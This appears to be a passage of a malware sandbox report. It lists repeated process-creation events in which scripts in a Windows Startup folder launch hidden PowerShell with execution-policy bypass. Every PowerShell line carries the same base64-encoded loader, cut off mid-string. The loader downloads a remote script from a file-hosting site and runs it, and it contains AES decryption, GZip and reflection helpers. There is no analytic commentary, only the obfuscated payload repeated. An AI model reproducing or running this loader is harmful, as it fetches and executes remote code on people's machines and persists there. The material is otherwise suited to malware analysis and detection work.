                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_223343d6.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_78f754a9.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_24d48e5a.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_56855210.cmd"
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('dHJ5e2lleCAoKGlleCAoKCdkcGpuenp1YXd0cmx3cmNpZHBqbnp6dWF3dHJsd3Jjd2Rwam56enVhd3RybHdyY3JkcGpuenp1YXd0cmx3cmMgZHBqbnp6dWF3dHJsd3JjLWRwam56enVhd3RybHdyY1VkcGpuenp1YXd0cmx3cmNzZHBqbnp6dWF3dHJsd3JjZWRwam56enVhd3RybHdyY0JkcGpuenp1YXd0cmx3cmNhZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNjZHBqbnp6dWF3dHJsd3JjUGRwam56enVhd3RybHdyY2FkcGpuenp1YXd0cmx3cmNyZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY2lkcGpuenp1YXd0cmx3cmNuZHBqbnp6dWF3dHJsd3JjZ2Rwam56enVhd3RybHdyYyAiZHBqbnp6dWF3dHJsd3JjaGRwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmN0ZHBqbnp6dWF3dHJsd3JjcGRwam56enVhd3RybHdyY3NkcGpuenp1YXd0cmx3cmM6ZHBqbnp6dWF3dHJsd3JjL2Rwam56enVhd3RybHdyYy9kcGpuenp1YXd0cmx3cmMwZHBqbnp6dWF3dHJsd3JjeGRwam56enVhd3RybHdyYzBkcGpuenp1YXd0cmx3cmMuZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyY3RkcGpuenp1YXd0cmx3cmMvZHBqbnp6dWF3dHJsd3JjOGRwam56enVhd3RybHdyY0tkcGpuenp1YXd0cmx3cmN1ZHBqbnp6dWF3dHJsd3JjVmRwam56enVhd3RybHdyYy5kcGpuenp1YXd0cmx3cmNwZHBqbnp6dWF3dHJsd3Jjc2Rwam56enVhd3RybHdyYzFkcGpuenp1YXd0cmx3cmMiJykuUmVwbGFjZSgnZHBqbnp6dWF3dHJsd3JjJywnJykpKS5Db250ZW50KSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZX1jYXRjaHt9O2Z1bmN0aW9uIGpsanJuKCRwYXJhbV92YXIpewkkYWVzX3Zhcj1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5BZXNdOjpDcmVhdGUoKTsJJGFlc192YXIuTW9kZT1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5DaXBoZXJNb2RlXTo6Q0JDOwkkYWVzX3Zhci5QYWRkaW5nPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LlBhZGRpbmdNb2RlXTo6UEtDUzc7CSRhZXNfdmFyLktleT1bU3lzdGVtLkNvbnZlcnRdOjooJ2duaXJ0UzQ2ZXNhQm1vckYnWy0xLi4tMTZdIC1qb2luICcnKSgnKzZHWk90V2lZOUN0NVY4NDFML3IzUVdTcllCcTY3a0tOdEt0VDFpckQrbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6KCdnbmlydFM0NmVzYUJtb3JGJ1stMS4uLTE2XSAtam9pbiAnJykoJ1lXVmd0S09na1hDa0hKZzRielF6dnc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gYmpyeWsoJHBhcmFtX3Zhcil7CUlFWCAnJHBsYXRwPU5ldy1PYmplY3QgU3lzdGVtLklPLk1BQkNlbUFCQ29yQUJDeVNBQkN0ckFCQ2VhQUJDbSgsJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJG1iZGliPU5ldy1PYmplY3QgU3lzdGVtLklPLkFCQ01BQkNlQUJDbUFCQ29BQkNyQUJDeUFCQ1NBQkN0QUJDckFCQ2VBQkNhQUJDbUFCQzsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckcnhhY2E9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ0FCQ29tQUJDcHJBQkNlQUJDc3NBQkNpb0FCQ24uQUJDR1pBQkNpcEFCQ1N0QUJDcmVBQkNhbUFCQygkcGxhdHAsIFtJTy5DQUJDb21BQkNwckFCQ2VzQUJDc2lBQkNvbkFCQy5Db0FCQ21wQUJDcmVBQkNzc0FCQ2lBQkNvQUJDbkFCQ01vZGVdOjpEQUJDZUFCQ2NBQkNvbXBBQkNyZUFCQ3NzKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJJHJ4YWNhLkNvcHlUbygkbWJkaWIpOwkkcnhhY2EuRGlzcG9zZSgpOwkkcGxhdHAuRGlzcG9zZSgpOwkkbWJkaWIuRGlzcG9zZSgpOwkkbWJkaWIuVG9BcnJheSgpO31mdW5jdGlvbiB3enRncCgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJSUVYICckdGxvZ2g9W1N5c3RlbS5SQUJDZUFCQ2ZsQUJDZWN0QUJDaW9BQkNuLkFCQ0F
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6ca135e6.cmd"
